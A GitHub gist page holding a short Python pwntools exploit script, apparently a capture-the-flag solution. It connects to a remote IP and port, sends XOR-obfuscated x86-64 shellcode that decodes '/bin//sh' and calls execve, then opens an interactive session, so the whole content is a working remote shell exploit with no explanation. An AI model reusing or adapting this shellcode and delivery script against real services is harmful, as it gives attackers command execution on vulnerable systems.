Skip to content

Instantly share code, notes, and snippets.

@ywkw1717
Created May 26, 2019 11:59
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ywkw1717/86c7428fa8e3c5f79b037b62f05ad2ac to your computer and use it in GitHub Desktop.
Save ywkw1717/86c7428fa8e3c5f79b037b62f05ad2ac to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
from pwn import *
def main():
conn = remote("153.120.129.186", 20000)
shellcode = "\x48\xbb\x7f\x32\x39\x3e\x7f\x7f\x23\x38\x48\xb8\x50\x50\x50\x50\x50\x50\x50\x50\x48\x31\xc3\x31\xf6\x56\x53\x54\x5f\x48\x31\xc0\xb0\x3b\x31\xd2\x0f\x05"
payload = shellcode
conn.send(payload)
conn.interactive()
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment